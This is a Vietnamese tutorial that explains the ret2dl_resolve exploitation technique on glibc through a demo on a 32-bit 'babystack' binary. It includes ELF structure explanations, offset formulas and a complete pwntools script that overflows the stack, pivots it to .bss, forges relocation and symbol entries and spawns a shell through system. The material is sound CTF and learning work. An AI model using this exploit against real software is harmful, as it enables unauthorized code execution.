Trong một số trường hợp khi ta overflow mà không có các hàm trong PLT thích hợp để leak libc ra thì ret2dl_resolve là một kỹ thuật để lấy được shell. Trong bài này mình sẽ giới thiệu tóm tắt về cách ret2dl_resolve ở glibc 2.37 hoạt động qua một bài demo.
I. Prerequisites :#
Do nếu mình giải thích chi tiết từng dòng code chạy sau thì nó rất rất dài và giống như reinvent the wheel nên các bạn có thể đọc trước ở đây:
- syst3mfailure - Phân tích chi tiết từng dòng
- phrack article ở mục 5 - bài original public về kỹ thuật này
- ricardo2197 - Bài khá hay tóm tắt về nó
- file binary mình demo
II. Overview#
Kỹ thuật này lợi dụng việc lazy binding tức quá trình resolve symbol ở runtime không có bound check từ đó ta khiến nó overwrite địa chỉ GOT của một hàm nào đó thành system

Khi ta gọi hàm read thì những việc sau đây xảy ra :
- Nhảy vào .plt của
read - jmp vào một địa chỉ trong
.got.plt. - Nếu địa chỉ này chưa resolve thì nó sẽ trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong
.plt. Nếu resolve rồi thì thực hiện nó - Nếu chưa resolve thì bước này là bước đi resolve
Trong quá trình đi resolve nó sẽ push 2 arguments lên stack : linkmap và reloc_arg.
linkmaplà chỗ chứa các địa chỉ ở bên dưới - ở đây ta không quan tâm về nó
reloc_argdùng để tính offset mà ta cần cực kỳ để ý.
Mục tiêu của ret2dl_resolve như sau:
- Fake argument
reloc_arg - Fake 3 chunk STRTAB, SYMTAB,JMPREL
Để fake đúng ta cần tính offset chuẩn . 3 chunk ta fake thường nằm ở heap hoặc bss của binary. Đây là địa chỉ mà ta phải có control hoàn toàn. Lưu ý : địa sym và SYMTAB, reloc và JMPREL mà mình đề cập bên dưới là các địa chỉ khác nhau hoàn toàn.
III. Details:#
a. STRTAB#
gef➤ x/10s 0x804822c
0x804822c: ""
0x804822d: "libc.so.6"
0x8048237: "_IO_stdin_used"
0x8048246: "read"
0x804824b: "alarm"
0x8048251: "__libc_start_main"
0x8048263: "__gmon_start__"
0x8048272: "GLIBC_2.0"
0x804827c: ""
0x804827d: ""STRTAB chỉ là nơi chứa strings. Mục tiêu của ta khi fake nó chỉ là ghi system\x00 (null terminated str) vào một địa chỉ
b. SYMTAB#
Một chunk sym được định nghĩa như sau:
- Ở x64
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;- Ở x32
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;Cách mà source tính ra chunk này :
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]
// which is the same as :
const ElfW(Sym) *sym = &symtab[(reloc->r_info) >> 8]
// also the same as :
*sym = SYMTAB + index *sizeof(sym)
// index = (reloc->r_info) >> 8
----------------------------------------------
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB])
--------SYMTAB--------x64 và x32 chỉ khác mỗi size còn lại tương tự

Ở đây chúng ta chỉ quan tâm đến st_other và st_name
st_other: bắt buộc = 0st_name: chứa offset đến stringsystemmà ta fake
c. JMPREL#
Một chunk reloc được định nghĩa như sau :
- x32
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;- x64
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;Cách mà source tính ra chunk này:
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// the same as
reloc = JMPREL + reloc_offset
// such that
reloc_offset = reloc_arg //x32
reloc_offset = reloc_arg *0x18 //x64
III. But howww ???#
a. Basic algorithm (true case)#
Trong trường hợp thoả mãn tất cả điều kiện thì nó sẽ resolve bằng thuật toán sau
- push
reloc_arg,linkmap - get
SYMTABaddress - get
STRTABaddress - get a ptr to
ELF32_Rela/ELF64_Relastruct - get a ptr to
ELF32_Sym/ELF64_Symstruct (base on a ptr in step 4) - check
r_infoending with 0x7 - check
st_other == 0or not - do some stuff to check the version
- get the address from glibc base on
STRTAB + st_name
b. Observation:#
- Ta không thể fake
SYMTAB,STRTAB,linkmap(hmmm có thể có nhưng kỹ thuật khá khó) - Bước 4 tính ptr đó bằng công thức:
reloc = JMPREL + reloc_arg - Bước 5 tính ptr đó bằng công thức
sym = SYMTAB + (r_info >> 8) * sizeof(sym)
c. Các bước tính:#
- Tìm 3 địa chỉ
addr1,addr2,addr3mà chúng ta có quyền control - Fake ELF32_Rela / ELF64_Rela
addr1struct
- reloc_arg =
addr1- JMPREL (x32) - reloc_arg = (
addr1- JMPREL) / 24 (x64) - r_info = (((
addr2- SYMTAB) / sizeof(sym)) « 8) | 7 addr1chunk : [GOT, r_info]
- Fake ELF32_Sym / ELF64_Sym
addr2struct :
- st_name =
addr3- STRTAB - st_value, st_size, st_info, st_other, st_shndx = 0
- write
systemtoaddr3
Trong quá trình fake thì các chunk đấy phải nằm đúng một ô nhớ 4 byte hoặc 8 byte ở một địa chỉ -> align khi thấy không phù hợp
IV. Demo#
Đầu tiên ta chạy lệnh này để note lại các giá trị
$ readelf -d babystack
Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x80482c8
0x0000000d (FINI) 0x80484f4
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804822c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 80 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482b0
0x00000011 (REL) 0x80482a8
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x8048288
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x804827c
0x00000000 (NULL) 0x0Note lại
SYMTAB = 0x080481cc
STRTAB = 0x0804822c
JMPREL = 0x080482b0Vào ida thì ta dễ dàng thấy rằng bị bof

Vào gdb thì thấy rằng không có hàm nào thích hợp để giúp ta leak libc -> ret2dl_resolve

Sau một hồi test với binary thì thấy rằng ta cần pivot stack vào bss() do arguments 1 tức reloc_arg cần phải ở đầu stack
Quá trình pivot stack cũng như làm sau để bof 1 file x32 sẽ không trình bày ở đây
addr1 = 0x804af00
payload = b'a'*40 + p32(addr1)
payload += p32(exe.plt['read']) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80)
p.send(payload)Trong đó 0x8048455 là gadget leave_ret. Ở đây chúng ta thực hiện ghi 2 lần.
- Lần 1 tức payload trên để pivot stack
- Lần 2 gửi payload ret2dl_resolve lên bss()
Payload 2 của mình có dạng sau

addr1 += 0x14
reloc_args = (addr1 - JMPREL)
addr2 = 0x804af1c
success("FAKE ELF32_SYM addr2 : " + hex(addr2))
r_info = (addr2- SYMTAB) // 16
r_info = (r_info <<8) | 0x7
success("FAKE ELF32_RELA addr1 : " + hex(addr1))
success("CACULATED reloc_args: " + hex(reloc_args))
success("r_info : " + hex(r_info))
string = 0x0804af2c - STRTABDo addr1 sau khi chạy payload 1 đang là rsp
nên mình cộng thêm 0x14 tức chỗ để fake ELF32_Rela struct.
string trong code trên là st_name fake
Payload sau khi gửi

Ta có thể thấy là các địa chỉ ta fake nằm trọn trong 1 ô vùng nhớ. Các địa chỉ khác tính như công thức mình đưa ra ở trên .
Chỗ padding này như sau

0x804af08là esp tức làreloc_arg- 2 địa chỉ tiếp theo là phần padding. Ở đây mình gửi string
shvà tiếp theo mình gửi vào0x804af10địa chỉ trỏ tớish. Lý do của việc đó là vì khi ta thực hiện resolve xong thì nó sẽ thực hiện hàmsystemđấy. Do là x32 nên theo calling convention thì nó expect arguments ởesp+0x8
Ta chạy script thì lấy được shell

Full script :
from pwn import *
import time
exe = ELF("babystack")
p = process(exe.path)
SYMTAB = 0x080481cc
STRTAB = 0x0804822c
JMPREL = 0x080482b0
GOT = 0x804a010
ret = 0x080482d2
addr1 = 0x804af00
payload = b'a'*40 + p32(addr1)
payload += p32(exe.plt['read']) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80)
p.send(payload)
time.sleep(1)
addr1 += 0x14
reloc_args = (addr1 - JMPREL)
success("FAKE ELF32_RELA addr1 : " + hex(addr1))
success("CACULATED reloc_args: " + hex(reloc_args))
addr2 = 0x804af1c
success("FAKE ELF32_SYM addr2 : " + hex(addr2))
r_info = (addr2- SYMTAB) // 16
r_info = (r_info <<8) | 0x7
success("r_info : " + hex(r_info))
string = 0x0804af2c - STRTAB
payload = b'a'*4 + p32(0x80482F0) + p32(reloc_args) + b'sh\x00\x00'+p32(0x0804af0c)
payload += p32(exe.got['read']) + p32(r_info)+p32(string)+p32(0)*3+b'system\x00'
p.send(payload)
p.interactive()